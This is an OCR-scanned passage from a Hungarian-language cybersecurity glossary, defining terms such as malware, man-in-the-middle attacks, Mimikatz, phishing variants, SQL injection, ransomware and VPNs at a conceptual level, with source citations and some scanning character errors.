sadgahoz, a gazdasagi €s szocialis kdzszolgaltatasok biztositdsdhoz, az orszag honvédelméhez,
- ¢s amelynek kiesése e feladatok folyamatos ellatadsanak hidnya miatt jelentds kovetkezmé-
nyekkel jarna. [32]
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Logikai biztonsag: A logikai biztonsag korébe tartoznak a virusok, a rosszindulata kédok,
az adathalészattal kapcsolatos tdmadasok, az ilyen tipusu tdmadasok elleni védekezés, a vi-
rusok, a hekker tdimadasok, az adatlopas, az illetéktelen hozzaférés ¢s modositas, illetve az
illetéktelen kozzététel. [9]

Logikai védelem: Az elektronikus informécios rendszerben informéciotechnoldgiai eszko-
zokkel és eljarasokkal (programokkal, protokollokkal) kialakitott védelem. [5]

Logikai bomba: Olyan program vagy programrészlet, amely logikailag (funkcionalisan)
nem vart hatast fejt ki. Jelentkezése vératlan, hatasa pusztitdo — innen a bomba kifejezés. [5]
Malware: Az angol malicious software (kartékony szoftver, karos szoftver, rosszindulata
szoftver) 6sszevondsabol kialakitott mozaikszd. Rosszindulatu szoftvernek tekintheték azok
a szoftverek, amelyek célja nem az informécios rendszer miikodésének biztositasa és fenntar-
tasa, hanem bizonyos informaciok megszerzése, modositasa, torlése, megsemmisitése, vala-
mint engedély nélkiili tevékenységek végzése. Ezen rosszindulatl szoftverek segitségével a
tamado konnyedén zavart okozhat a célszemély szdmara, példaul tulterhelheti, miikodésében
akadalyozhatja, valamint akar miikodésképtelenné teheti a felhasznalé barmely infokommu-
nikacios eszkdzét. Az esetek jelentds hdnyadaban ezek a programok a felhasznalo engedélye
és tudta nélkiil keriilnek az eszkdzeire. A malware-ek csoportjaba sorolhatok a virusok, fér-
gek, trojai programok, kémprogramok, zsaroloprogramok, rootkitek, keyloggerek, backdoor
programok €s szdmos tovabbi rosszindulati program. [11]

Man-in-the-middle timadas: A tdmadas soran a tamado6 beékelddik a felhasznal6 és az al-
tala elérni kivant szerver kozé. Ez a be¢kelddés azt jelenti, hogy a kliens altal kozolt adatokat
a tdmado szervere fogadja és tovabbitja a legitim szerver fel¢, majd az onnan érkezd valaszo-
kat, mint kliens fogadja és tovabbitja a felhasznal6 felé. Annak érdekében, hogy ez megtor-
ténhessen, a tamadonak mar komoly eldkésziileteket kellett tennie, hiszen biztositania kellett,
hogy a kliens az eredeti szerver helyett eldszor a timadohoz csatlakozzon. Erre megoldas
lehet a mar fentebb részletezett DNS-spoofing vagy a kliens proxy beallitasainak modositasa.
Normal HTTP alapt oldalak esetében a felhasznédld sok esetben nem is veheti észre, hogy
nem direkt az altala meglatogatott weboldal kiszolgald szerverével kommunikal. Ha sikere-
sen beékelodott a tamado, akkor minden informaciod, amit a kliens és a weboldal kozott aram-
lik, atfolyik a phisher szerverén igy az érzékeny informaciok megszerezhetdvé valnak. [22]
Megel6zés: A fenyegetés altal okozhatd hatas bekdvetkezésének elkeriilése. [5]
Megszemélyesités: Olyan tamadasi technika, melynek sordn a tamado egy valds személy
személyazonossagat veszi fel, annak engedélye nélkiil. [8]

Megtévesztés: Olyan tamadasi technika, melynek sordn a tamado egy fiktiv személynek adja
ki magat egy tamadas végrehajtasa soran. [8]

Metasploit Framework: A Metasploit a vilag legelterjedtebb penetracids tesztszoftvere,
mely segitségével megtadmadhatjuk a sajat rendszeriinket ugy, ahogy egy hacker tenné, igy
kiderithetjiik, hol vannak sotét foltok a védelemben. LehetOséget biztosit arra, hogy a szak-
értdk megismerkedhessenek az exploitokkal és tesztelhessék sajat rendszereik védelmét. De
ugyanugy a tdmadoknak is megnyitja a lehetdséget arra, hogy ezeket a biztonsagi hibakat
szamitogépek megfertdzésére kihasznalhassak. [33]

Mimikatz: Egy szabad forrdsu program, ami a memoriaban talalhato jelszavakat és jelszo
hasheket gylijti ki, ezeket a kezdeti fertdzés utan a lokalis halozaton beliili tovabbterjedéshez
szoktak hasznalni a célzott tdmadasok soran. Ezen feliil a kifejezetten rombolo céllal alkal-
mazott NotPetya hasznalta a lokalis hal6zaton beliili autonom terjedéshez. [33]

Mindsitett adat: A mindsitett adat (korabbi elnevezése: allamtitok vagy szolgalati titok)
olyan mindsitéssel védhetd kozérdek korébe tartozd informacid, amelyrdl megfeleld elja-
rasban megallapitotta a mindsitésre jogszabalyban felhatalmazott személy, hogy az adat ér-
vényességi idOn beliili nyilvanossagra hozatala, illetéktelen személy részére hozzaférhetové
tétele veszélyezteti Magyarorszag biztonsagat. ,,Szigortan titkos”, ,,Titkos”, ,,Bizalmas” és
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,Korlatozott terjesztésii” jelzéssel ellatott dokumentumok mindsitett adatot tartalmaznak,
melyek szandékos felhasznalasa, nyilvanossagra hozatala blincselekmény. [5]
Munkavallalé: Fogalmat a 2012. évi [ torvény, a Munka Torvénykonyve hatarozza meg. Ez
alapjan munkavallalonak tekinthetd az a természetes személy, aki munkaszerzédés alapjan
munkat végez. fgy minden 16. életévet betdltott személy, aki jogviszony formajaban, dijazas
fejében elvégzi a munkat.

NAIH: Nemzeti Adatvédelmi és Informaciészabadsag Hatdsag: az Infotv. altal 2012. januar
1-vel 1étrehozott, az adatvédelmi biztos intézményét felvaltdé nemzeti adatvédelmi hatosag,
melynek feladata a két informacios jog védelme €s a magyarorszagi adatkezelések torvényes-
ségének feliigyelete.

NEIH: Nemzeti Elektronikus Informacidbiztonsagi Hatosag, amely az elektronikus informa-
ciobiztonsagi jogszabalyokban eldirt kovetelményeknek valdo megfeleldség ellendrzésének
letéteményese. A hatosag egyik legfontosabb feladatként elbiralja az Ibtv. hatalya al4 tarto-
z6 elektronikus informacids rendszerek biztonsagi osztalyba soroldsat, valamint ellendrzi az
elektronikus informacids rendszerek biztonsagi osztalyba €s a szervezetek biztonsagi szintbe
soroldsara vonatkoz6 jogszabalyi kovetelmények teljesiilését. A rendelkezésre allo informé-
ciok alapjan kockazatelemzést végez és az éves ellendrzési terv alapjan az érintett iigyfelek-
nél ellendrzi az informacidbiztonsagi kovetelményeknek valdo megfelelést. Ezen tilmenden
a hatosag elrendeli az ellendrzés soran feltart, vagy mas modon tudomasara jutott biztonsagi
rések elharitasat, és ellendrzi a helyreallito intézkedés eredményességét. [13]

Nemzeti Kiberbiztonsagi Koordinacios Tanacs: Az e-kozigazgatasért felelés miniszter
(jelenleg a beliigyminiszter) altal vezetett Nemzeti Kiberbiztonsagi Koordindcios Tanacs a
Kormany javaslattevd, véleményez6 szerveként gondoskodik az Ibtv. hatalya alé tartozo szer-
vezetek informéciobiztonsagi tevékenységeinek 6sszehangolasarol. [13]

Nemzeti Kibervédelmi Intézet: A kiberfenyegetések okozta kihivasokra reagélva, a kiber-
biztonsag novelése, az egységes ¢s hatékony, parhuzamossagokkal kevésbé tagolt kiberve-
delmi struktira megteremtése érdekében jott 1étre a Nemzeti Kibervédelmi Intézet (a to-
vabbiakban: NKI). Az NKI legfobb feladata és célja, hogy Magyarorszag egy Osszehangolt,
szervezett tevékenység keretében legyen képes a modern kor egyik legnagyobb kihivasanak,
a kiberbiztonsag megteremtésének és erdsitésének az élharcosa és a kibervédelem letétemé-
nyese lenni, a globalis ¢és a hazai kibertérbdl érkezd fenyegetéseket hatékonyan kezelni, azok
megeldzésére szakszerli segitséget nyujtani. [13]

Nulladik napi (0-day) sériilékenység: Olyan szamitogépes szoftveres biztonsagi rés, amely
ismeretlen azok szdmara, akik érdekeltek lennének a sebezhetdség enyhitésében, befoltoza-
saban (beleértve a célszoftver gyartdjat is). A biztonsagi rést kihasznalva a hackerek hoz-
zaférhetnek a szamitogépes programokhoz, adatokhoz, tovabbi szamitégépekhez vagy ha-
l6zatokhoz. Egy nulladik napi sebezhetdségre irdnyuld tamadast nulladik napi exploitnak
(kihasznalasnak) vagy nulladik napi timadasnak neveznek. [13]

Obfuszkacio: A forras vagy gépi kod ember altali megértésének szandékos megnehezitése.
[13]

Paid archive: A hamis szoftver-telepitok a 2009-2010-es években jelentek meg, céljuk szin-
tén nem a rendszerben torténd karokozas, hanem hogy ravegyék a gyanutlan és hiszékeny
felhasznalokat a tamado altal kért 6sszeg kifizetésére. Ezeket nevezik “paid archive”-eknek
is, melyek olyan on-kicsomagolé allomanyok, amiket csak fizetés utan lehet kicsomagolni.
Altaldban valamilyen (tobbnyire) ingyenesen letolthetd, valos, hiteles program (példaul Sky-
pe, Adobe Flash Player, bongészd, Microsoft termék, tomoritd program, zenelejatszo stb.)
telepitdjének tiinnek. [8]

PDCA ciklus: Plan — Do — Check — Act, mas néven a Tervezés — Végrehajtas — Ellen6rzés
— Beavatkozas ciklusa. A PDCA barmilyen miiveletre, tevékenységre, folyamatra, rendszer-
re, miitkddtetésre, koncepciora, elgondolasra vonatkoztathato, zart hataslancu, folytonosan
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ismétlédo korfolyamat-elv. A PDCA modell négy szakaszbdl all. Az els6 szakasz a Tervezés
(Plan), amely a fennalld helyzet tanulméanyozésat, adatgytjtést és a javitds megtervezését
foglalja magaban. A masodik szakasz a Végrehajtas (Do) mely soran megvalosul a terv ki-
probalésa kisérleti jelleggel egy kisebb projekt vagy a felhasznalok egy sziikebb korén be-
lil alkalmazva. A harmadik szakasz az Ellenérzés (Check), amely valtoztatdsok hatasanak
elemzése ¢€s értékelése. A negyedik szakasz a Beavatkozas (Act), amely magéaban foglalja a
bevalt modszer bevezetését és szabvanyositasat. Ez a ciklus minden folyamatjavité koncep-
ci6 alapja. [3]

Pharming: Més néven az eltéritéses adathalaszat célja, hogy a legitim szolgaltatast hasznalni
kivano felhasznalot a szolgaltatas domain nevének eltéritésével a hamisitott weboldalra ira-
nyitsa. [8]

Piggybacking: Ez a technika tulajdonképpen mas jogosultsaganak felhasznaléasat jelenti, és
altalaban az épiiletbe vald jogosulatlan bejutas megvaldsitasdhoz szoktak alkalmazni a so-
cial engineerek. Leginkabb szoros kovetésnek, vagy besurrandsnak lehet forditani. Legjobb
példaja, amikor a timadd egy munkatarsnak, vagy legalabbis belépésre jogosult személynek
adja ki magat, s az irodaba igyekezvén eljatssza, hogy otthon felejtette kulcsat vagy belépd-
kartyajat, és megkér valakit, hogy engedje be a sajatjaval. [8]

Planting of backdoors: Azaz a hatsé kapuk nyitva hagyésa. Sok esetben szeretné a tdma-
do biztositani, hogy késobb is hozza férhessen a kordbban megtadmadott rendszerhez, ezért
olyan ugynevezett backdoorokat hagy hatra, ami segitségével ez lehetséges lesz szdmara. A
médiaban lehet hallani olyan eseteket, ahol eszk6zokben, szolgéltatasokban eldre dedikalt
hats6 kapuk talalhatoak, melyet a gyartok maguktol, esetleg kormanyzati hatasra hagytak
termékeikben. [23]

POC: Proof Of Concept. Valamilyen koncepcid mentén elkészitett terv kiprobalasa a gyakor-
latban. [19]

PreDeCo (Preventive-Detective-Corrective) elv: Ezen elv magéaba foglalja a megeldzést,
azaz a fenyegetés altal okozhato hatas bekovetkezésének elkeriilését, a korai figyelmeztetést,
azaz olyan aktiv szervezeti cselekvést, amely sordn valamely fenyegetés varhatd bekovet-
kezésének jelzésére kertiil sor a fenyegetés bekdvetkezése elott annyi idével, hogy hatékony
védelmi intézkedéseket lehessen hozni, az észlelést, azaz a biztonsagi esemény bekovetke-
zésének felismerését, és a reagalast, amely a bekovetkezett biztonsagi esemény terjedésének
megakadalyozasara vagy késleltetésére, a tovabbi karok mérséklésére tett intézkedéseket.
Tovabba a biztonsagi események kezelését, amely magaba foglalja a dokumentalast, a ko-
vetkezmények felszamoladsat, a bekovetkezés okainak és feleldseinek megallapitasat, és a
hasonl6 biztonsagi események jovobeni eléforduldsanak megakadalyozasa érdekében végzett
tervszeri tevékenységet. [34]

Preventiv vagy megel6z6 intézkedés: Amikor egy szervezet meghatarozott idokdzonként
a megeldzo intézkedés keretein beliil feltérképezi az altaluk hasznalt informatikai rendsze-
rek sebezhetdségét, sériilékenységét, ezzel meghatarozza a kiilsd és belso ,,hianyossagokat™,
gyenge pontokat és lehetséges javaslatokat, intézkedéseket tesz az esetleges tdmadasok meg-
elozésére €s elharitasara. [12]

Privilegizalt jogosultsag: Olyan kiemelt jogosultsag, amelyet jellemzden a rendszer miiko-
déseert felelos személyek (rendszergazdak, adminisztratorok) vagy processzek, programok,
technikai felhasznalok és alkalmazasok birtokolnak. [19]

Proaktiv biztonsagi intézkedés: Proaktiv intézkedésrdl akkor beszéliink, amikor egy szer-
vezet védelmi rendszere képes valos idejli reakciora a szervezetet érd timadas esetén. A pro-
aktiv magatartas tulajdonképpen egy megeldzésre torekvd magatartéds, a reaktiv magatartas
helyett. Ebbe a tipusba tartozik az el6z0, azaz a preventiv szakaszban talalt sériilékenységek
javitasa. [12]
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Puffer tulcsordulas: Olyan szoftverhiba, sokszor biztonsagi rés, melynél egy processz a fix
hosszlisagu tombbe (puffer) torténd irdskor nem ellendrzi annak hatarait, igy azt (példaul tal
hosszli bemeneti adatok miatt) tilirva a szomszédos memoriateriiletet irja feliil. A feliilirt me-
moriateriileten mas adatok, a program valtozoi, a program futasat vezérld adatok (program-
kod) is lehet. Ez a program hibéas mitkodéséhez, futasanak befejezédéséhez (lefagyas) vagy a
rendszer biztonsaganak sériilésé¢hez is vezethet. [13]

Ransomware: Célja egy adott infokommunikaciods eszkdzhoz vagy informacios rendszerhez
hozzéaférve olyan informaciok megszerzése, amelyek zsarolas alapjat szolgalhatjak. A zsaro-
l6programok megszakitjak egy informacids rendszer miikodését, korlatozva a felhasznalot az
eszk0z hasznalataban, ezt kovetden a tamado egy zsarold lizenetben kozli az adldozattal, hogy
bizonyos Osszeg fejé-ben visszaallitja az eszk6zt vagy rendszert a korabbi allapotra. Abban az
esetben, ha a célszemély nem teljesiti a timado kérését, akkor a zsarolo kiterjeszti a fizetésre
rendelkezésre 4ll6 1d6t vagy torli az adatokat a felhasznalod infokommunikacios eszkozérdl.
[35]

Reaktiv biztonsagi intézkedés: A szervezetet ért tamadasra, incidensre a védelmi rendszer
késObb reagal, azaz egy kovetd magatartdst jelent. Ebben az esetben az adott szervezetet ért
tamadas miatt mar nagy eséllyel a bekdvetkezett kar, valamint a meg nem tett védelmi intéz-
kedések koltségei megfizetésre kell, hogy keriiljenek. [12]

Reagalas: a bekovetkezett biztonsagi esemény terjedésének megakadalyozasara vagy késlel-
tetésére, a tovabbi karok mérséklésére tett intézkedés. [5]

Rendelkezésre allas elve: Annak biztositasa, hogy az elektronikus informacios rendszerek
az arra jogosult személy szamara elérhetdek €s az abban kezelt adatok felhasznalhatoak. [5]
Rendszergazda: Halozati szolgaltatast nyjté szamitogép adminisztratora.

RFI: Request For Information. Informéciokérd dokumentum, amely alapul szolgalhat egy
szervezetnek tovabbi dontéselOkészitd anyagok készitéséhez. [19]

Robothalézat: A robothaldzat egy sor internetre csatlakoztatott eszkdz, amelyek mindegyike
egy vagy tobb botot futtat. A botnetek elosztott szolgaltatdismegtagadasi tamadasok (DDoS
tamadas) végrehajtasara, adatok ellopdsara, spam kiildésére hasznalhatok, és lehetdvé teszik
a tamado szamara az eszk6zhoz €és annak kapcsolatdhoz vald hozzaférést. A botok tavolrol
vezérelhetd automatikusan fut6 szoftverek. [13]

Scanning: Az IT tdmadasok egyik Iépése, a szkennelés szakasza. E 1€pés alkalmaval a tdma-
do felhasznalja a korabban szerzett informaciokat és sokkal finomabb, precizebb felderitést
tud végezni a kiilonbozo erre dedikalt eszkozokkel (példaul: Nmap), hogy megismerhesse az
elérhetd szolgaltatdsokat, eszkozoket. Informaciot gytijthet itt példaul a hasznalt operacios
rendszerek tipusarol, illetve megfelelé gyakorlattal a haldzati biztonsagi megoldasok egy ré-
sze, a topologia is felderithetd ennek segitségével. [23]

Scareware: Al-virusirtok és egyéb mas hamis biztonsagi termékek csoportja, 6sszefoglalé
neviikon scareware-ek. Ahogyan az elnevezésiik is utal ra, ezek a kartevok valamilyen viru-
sirtd programnak, esetleg biztonsagi frissitésnek, vagy mas biztonsagi terméknek alcazzak
magukat. Altalanos jellemz&jiik, hogy ingyenesek (legaldbbis kezdetben, mig nem akarjak
meggy0Ozni a felhasznalot a ,.teljes verzid” megvasarlasarol), €s semmilyen, vagy legalabbis
minimalis viruseltavolitd képességgel rendelkeznek — viszont anndl tobb kartékony progra-
mot toltenek le a szdmitogépre. [§]

Screenlogger: Egy Osszetett malware, mely egyszerre képes figyelni a felhasznalo altal bevitt
adatokat és a képernyodn talalhato informdaciokat is, ezaltal képes kijatszani a képerny6 alapt
beviteli megoldasokat, példaul egy on-screen billentylizet hasznalatat. [8]

Search engine phishing: Az internetes keresok adathalasz célt felhasznalasa esetén, a tdma-
dok nem bajlédnak az tizenetkiildéssel, hanem sajat honlapot hoznak 1étre, ahol valamilyen
szolgaltatast, terméket, illetve egy kihagyhatatlan ajanlatot kindlnak. A tamado altal 1étreho-
zott oldal a Google altali kereséssel megtalalhatd. [22]
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Sértetlenség elve: Az adat tartalma és tulajdonsagai az adattal szemben felallitott kovetel-
ményekkel megegyezik, az adat az elvart forrasbol szarmazik, azaz hiteles, és az adat szar-
mazasa ellendrizhetd, azaz eredete ellendrizhetd (letagadhatatlan). Sértetlenség tovabba az
elektronikus informacios rendszer elemeinek azon tulajdonsaga, amely arra vonatkozik, hogy
az elektronikus informacids rendszer eleme rendeltetésének megfeleléen hasznalhato. [5]
Sériilékenység: Az elektronikus informacios rendszer olyan része vagy tulajdonsaga, ame-
lyen keresztiil valamely fenyegetés megvalosulhat. [5]

Sériilékenységmenedzsment: A sériilékenységmenedzsment a sebezhetdségek azonositasa-
nak, osztdlyozasanak, helyreallitdsanak €s enyhitésének ciklikus gyakorlata. Ez a gyakorlat
altalaban szamitogépes szoftveres sebezhetdségre utal, de hardveres menedzsment is elkép-
zelhetd. [13]

Sériilékenységvizsgalat: Az elektronikus informacios rendszerek gyenge pontjainak (bizton-
sagi rések) és az ezeken keresztiil fenyegetd biztonsagi eseményeknek a feltarasa. [5]
Sériilékenységvizsgalati tevékenység: A sériilékenységvizsgalatot célszoftverek segitségé-
vel végzik, amelyek a biztonsagi vizsgalati eljaras soran kifejezetten a sériilékenységvizsgalat
egyes fazisainak végrehajtasara kifejlesztett alkalmazasok. A programok beallitasa, valamint
a vizsgalati eljaras mélysége alapjan megkiilonboztetiink automatizalt és manualis vizsgala-
tot. [13]

Session hijacking: Magyarul munkamenet-eltérités, egy olyan tdmadasi forma, ahol a karté-
kony kéd a bongészo komponensként figyeli a felhasznaloi tevékenységet. Amikor a felhasz-
nalo belép egy oldalon a felhasznaloi fiokjaba vagy egyéb hitelesitést igényld tranzakciot vé-
gez, a malware ,.eltériti” az adott munkamenetet, hogy felhasznalva a megszerzett hitelesitd
adatokat egyéb akciokat hajtson végre a felhasznéld jogosultsagaval. [22]

Shoulder surfing: Mas néven ,,vall-szorf”, amely annak a médszere, hogy hogyan lehet meg-
szerezni egy felhasznalo jelszavat, vagy mas altala begépelt informéciot Iényegében a valla
feletti atnézéssel, azaz a tamado az aldozat kozelébe férkdzve, észrevétleniil megnézni, hogy
mit gépelt be az illetd. [8]

Smishing: SMS-en keresztiil torténd adathaldszat technikdja, mely sordn a tdmado lizenetet
kiild az aldozatnak, mely szerint a bankkartyaja zarolasra kertilt, és bovebb informaciokat a
megadott szadmon kérhet, amely felhivasat kovetden a timado megprobalja kicsalni a felhasz-
nalo bizalmas adatait. [8]

Social engineering: Az emberi tényez0 kihasznalhato tulajdonségaira, az emberi hiszékeny-
ségre ¢pitd tdmadasi forma, olyan technikdk és modszerek Osszessége, amely az emberek
befolydsolasara, manipuldlasara alapozva teszi lehetdvé bizalmas informaciok megszerzését,
vagy éppen egy kartékony program terjedését és miikodését. 8]

Social Media Engineering: A Social Engineering timadasok kozdsségi média feliileten ke-
resztiil elkovetett formaja. [8]

Spear phising (célzott adathalaszat): A célzott adathalaszat azonban egy adott személy el-
len inditott tAmadas. A célzott tamadas sokkal koriiltekintébben van felépitve és eldkészitve,
mint egy altalanos adathalaszat, éppen ezért az aldozat sokszor észre sem veszi, hogy egy
adathalasz célpontja lett. [8]

SQL injection: Més néven SQL befecskendezés. Ez egy olyan exploit, amely azokat az adat-
bazis lekérdezd programokat hasznalja ki, ahol nem tesztelték le alaposan a lekérdezések me-
todusat. Az SQL injection parancsokat kiild a web szerverhez kapcsolt SQL adatbazisnak. Ha
a szerver nem megfelelden lett tervezve és erdsitve, akkor az tirlap mezdkbe — mint példaul
a felhasznalonév — kdzvetlen parancs adhaté meg az SQL szervernek. gy példaul a tamadoé a
megfeleld parancs megadasaval kinyerheti az adott oldal 6sszes felhaszndlojanak nevét, vagy
egyeb kritikusabb tablak informéacioit is. [22]

180



FOGALOMTAR

Stlyos biztonsagi esemény: Olyan informatikai esemény, amely bekovetkezése esetén az al-
lami miikddés szempontjabol kritikus adat bizalmassaga, sértetlensége vagy rendelkezésre al-
lasa sériilhet, emberi €letek keriilhetnek kozvetlen veszélybe, személyi sériilések nagy szam-
ban kovetkezhetnek be, sulyos bizalomvesztés kovetkezhet be az allammal vagy az érintett
szervezettel szemben, alapvetd emberi, vagy a tdrsadalom miikddése szempontjabol kiemelt
jogok sériilhetnek. [13]

Szamitogépes eseménykezelé kozpont (CERT/CSIRT): Az Eurdpai Halozat- €s Informéci-
obiztonsagi Ugyndkség ajanlasai szerint miikodd, szamitastechnikai vészhelyzetekre reagald
egyseég, amely a nemzetkdzi halozatbiztonsagi, valamint kritikus informacios infrastruktarak
védelmére szakosodott szervezetekben tagsadggal és akkreditacioval rendelkezik [(eurdpai
hasznalatban: CSIRT (Computer Security Incident Response Team), amerikai hasznélatban:
CERT (Computer Emergency Response Team)]. [31]

Szamitogépes féreg: Egy szamitdgépes virushoz hasonld 6nsokszorositd szamitogépes prog-
ram. Mig azonban a virusok mas végrehajthat6é programokhoz vagy dokumentumokhoz kap-
csolodnak hozza, illetve valnak részeive, addig a férgeknek nincs sziikségiik gazdaprogramra,
onalloan fejtik ki miikddésiiket. [5]

Szamitégépes bilinézés: Haszonszerzés vagy karokozas céljabol, az informatikai rendsze-
rekben kezelt adatok bizalmassaga, sértetlensége és rendelkezésre allasa, illetve a rendszere-
lemek sértetlensége és rendelkezésre allasa elleni blincselekmények 6sszefoglalé megneve-
zése. (Az informatikai eszkozok felhasznalasaval elkdvetett biincselekményekre is szoktak
alkalmazni.) [5]

Személyes adat: Az érintettel kapcsolatba hozhat6 adat — kiilondsen az érintett neve, azono-
sit6 jele, valamint egy vagy tobb fizikai, fiziologiai, mentalis, gazdasagi, kulturalis vagy szo-
cialis azonossagara jellemzd ismeret —, valamint az adatbdl levonhatd, az érintettre vonatkozd
kovetkeztetés. [20]

Szolgaltatasmegtagadasos tamadas: Az informatikai szolgaltatas teljes vagy részleges meg-
bénitasa, helyes miitkodési modjatol valo eltéritése. Egy meghatarozott alkalmazés, operacids
rendszer ismert gyengeségeit, vagy valamilyen specidlis protokoll tulajdonsagait (gyengéit)
tamadja meg. Célja, hogy az alkalmazas vagy rendszer elérésére feljogositott felhasznaldkat
megakadalyozza a szdmukra fontos informaciok, a szamitogép-rendszer vagy akar a szami-
togép-halozat elérésében. A tdmadas eredményeképpen a rendszer nagyon lelassul, elérhetet-
lenné valik, esetleg 6ssze is omolhat. A Iényege, hogy lehetdség szerint megakadalyozza a
célgép elérését. [5]

Stuxnet: A kartevé még 2010 nyaran bukott le Iranban, Busehr (Bushehr) varos erdmiijének
egyik szamitdégépén. Akkor mintegy szdzezer szamitdogépet sikeriilt megfertéznie. Csak az
orszagban legaladbb 45 ezer feliigyeleti szamitogép és szerver hordozta a virust. Az mar a
felfedezés utani elsé elemzések soran kidertilt, hogy a Stuxnetet ipari folyamatiranyit6 rend-
szerek ellen fejlesztették ki. A Stuxnet végso célja ipari vezérld rendszerek automatikus fo-
lyamatainak jraprogramozasa volt. [16]

System reconfiguration attack: A rendszer konfiguraciéo médositasa egy olyan tdmadasi for-
ma, mely elokészité vagy megvalositd fazisa lehet egy man-in-the-middle tamadéasnak. A
legelterjedtebb rendszer konfiguracié modositasok kozé tartozik példaul a DNS szerver vagy
a web proxy bedllitds megvaltoztatasa, illetve wireless evil twin tAmadas. [22]

Tailgating: A social engineering technikdk egy valfaja, magyarra szoros kovetésnek, vagy
vonatozasnak fordithatd. A technika lényege, hogy a tdmadoé ugy tesz, mintha egy vendég-
vagy munkascsoport (példaul karbantartok) tagja lenne, majd hozzéajuk csapddva egyszertien
besurran az épiiletbe. [8]

Tanusitas: Egy informatikai biztonsagi vizsgalat (értékelés) eredményeit igazold formalis
nyilatkozat kibocsatasa, melybdl kidertil, hogy az értékelési kovetelményeket, kritériumokat
megfelelden alkalmaztak. Ang.: Certification. [5]
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Teljes kori védelem: Az elektronikus informacios rendszer valamennyi elemére kiterjedo
védelem. [5]

Termelési biztonsag: A termelési biztonsag a kornyezeti feltételekért felelds, ilyen elemek
példaul az aramellatas folyamatossaga, a klimatizalas, a munkavédelmi felszerelés vagy a
biztonsagos munkakoérnyezet, amelyek a fizikai rendszer miikodését biztonsagossa teszik.
[16]

,» Lisztaasztal, tisztaképernyd” szabaly: E szabaly alkalmazasa elengedhetetlen, 1ényege,
hogy az aktudlis feladathoz csak a legsziikségesebb anyagokat kell az asztalon hozzaférhe-
téen, a képernyOn lathatéan tartani. Munkaidon tal az iratokat az irdasztalokon nem lehet
tarolni, el kell zarni azokat. [36]

Troéjai progam: Egy olyan malware program, amely nem prébalja magét lemasolni, hanem
inkabb ugy tesz, mintha egy legalis szoftver lenne, €s a felhasznalot veszi ra a telepitésre. A
névét a gorog mitoldgiabol kapta, mivel artalmatlan szoftvernek adja ki magat, de valdjaban
rosszindulati kodot rejt. A kozhiedelemmel ellentétben egy trdjai nem feltétleniil tartalmaz
rosszindulati programkodot, azonban a tobbségiik tartalmazza az tigynevezett hats6 kapu
telepitését, ami a fertdzés utdn biztositja a hozzaférést a céleszkdozhdz. Ezek a programok
latszolag vagy akar valojaban is hasznos funkciokat latnak, de emellett végrehajtanak olyan
nem kivant miiveleteket is, amelyek adatvesztéssel jarnak, példaul adatokat modositanak
konyvtarakat, vagy akar adatdllomanyokat torélnek. [11]

Tiizfal: Olyan kiszolgald eszkoz (szamitogép vagy program), amelyet a lokalis és a kiilsé
halozat kozé, a csatlakozasi pontra telepitenek, annak érdekében, hogy az illetéktelen be-
hatolasoknak ezzel is elejét vegyék. Ezzel egyiitt lehetdvé teszi a kifelé iranyuld forgalom,
tartalom ellendrzését is. [36]

Uzletmenet-folytonossag tervezés: Az informatikai rendszer rendelkezésre allasanak olyan
szinten torténd fenntartdsa, hogy a kiesésbdl szarmazo karok a szervezet szamara még elvi-
selhetdek legyenek. Ang.: Business Continuity Planning (réviditve: BCP). [5]

Védelmi intézkedések: Kockazatok csokkentésére, a védendd rendszerek biztonsagi szintjé-
nek emelésére meghatarozott intézkedések, amelyek lehetnek logikai, fizikai és adminisztra-
tiv jellegliek. [5]

Végfelhasznaldi eszkoz: Minden olyan informatikai eszkdz, amely nem a kozponti rendsze-
rek mikdodtetésére hasznalt eszkoz. [16]

Vezérloszerver (C&C): A tdmadok altal hasznalt, az infrastruktira iizemeltetését segitd
rendszer, melynek segitségével parancsokat kiildhet a timadé az uralma alatt 4ll6 rendszer-
nek. [16]

Vishing: Mas néven telefonos adathalaszat, amely hanghélézaton, els6sorban VoIP csator-
nan keresztiil terjed. A technika lényege, hogy a tdmado a tomeges tarcsazas modszerével
végigtelefonalja egy adott korzet sszes hivoszamat, és ahol felveszik a telefont, ott egy eldre
rogzitett lizenetet jatszanak le, amiben értesitik az aldozatot, hogy bizonyos problémak miatt
zaroltak vagy letiltottdk a bankkartyajat, ezért felajanlanak egy telefonszdmot, hogy hivja fel
a probléma megoldasa érdekében. Amikor az tligyfél felhivja a telefonszamot, kérik, hogy
adja meg bank- vagy hitelkartya informaciot, mint példaul a felhasznalo nevét, kartyajanak
szamat, banki azonositojat, illetve a régi és 4j PIN kodjat, hogy ezzel a kartyajat Gijra aktivalni
tudjak. [8]

Virus: A virus olyan rosszindulatli program, amely sajat programkaodjat flizi hozza egy masik
programhoz, illetve az altal, hogy elhelyezi a mésik programban sajat masolatait, annak se-
gitségével szaporodik, de mas programok megfertézésére is képes. A virusok a rendszerbe a
felhasznal6 engedélye nélkiil keriilnek be, altaldban valamilyen adathordoz6 eszkoz (pendri-
ve, CD, DVD, SD kéartya, merevlemez, MP3 és vided lejatszd, mobiltelefon stb.), vagy akar
halozati kapcsolat (Internet) segitségével. Ezen virusok karosithatjak, illetve torolhetik a
szamitogépek vagy egyéb infokommunikécios eszkdzok adatait, de akar a merevlemez tar-
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talmat is torolheti vagy modosithatja, valamint a kiilonféle levelezOprogramok segitségével
tovabbithatjak is a virust mas eszkdzokre. Fontos, hogy nem csak adathordoz6 eszk6zok altal
terjedhet, hanem elektronikus levelezés soran az iizenetek csatolmanyaként, vagy akar az
internetrdl letoltott tartalmakon, dokumentumokon keresztiil is. [11]

Virtualis maganhalézat (VPN): Olyan logikai haldzat, amelyben a nyilvanos hal6zat egyes
végpontjai biztonsagos atviteli csatornan keresztiil vannak dsszekapcsolva, €s igy a nyilvanos
halézaton beliil védett kommunikéciot valosit meg. [5]

Web trojans: Olyan kartékony kodok, melyek a bejelentkezési oldalak esetén tinnek fel,
ugynevezett pop-up feliiletként (példaul: bongészok sajat hitelesitési ablaka). A felhasznald
johiszemiien beirja a hitelesitd adatait, melyek azonban nem az altala meghivott weboldal-
hoz, hanem a tréjai altal a timadohoz keriilnek. [22]

Whaling: Az elnevezés ,,balnavadaszatnak™ fordithatd, egyben utalva arra, hogy ezzel a tech-
nikéval a ,,nagy halakat”, vagyis a vallalatok vezetdit szeretnék megtéveszteni. A specidlisan
cégvezetdknek, kozépvezetoknek késziilt levelek (vagy akar telefonhivasok) altalaban iizleti
partnerek vagy allami intézmények nevében érkeznek. [§]

WiFi (Wireless Fidelity), WLAN: Szabvanyos vezeték nélkiili adatatviteli technika. A sza-
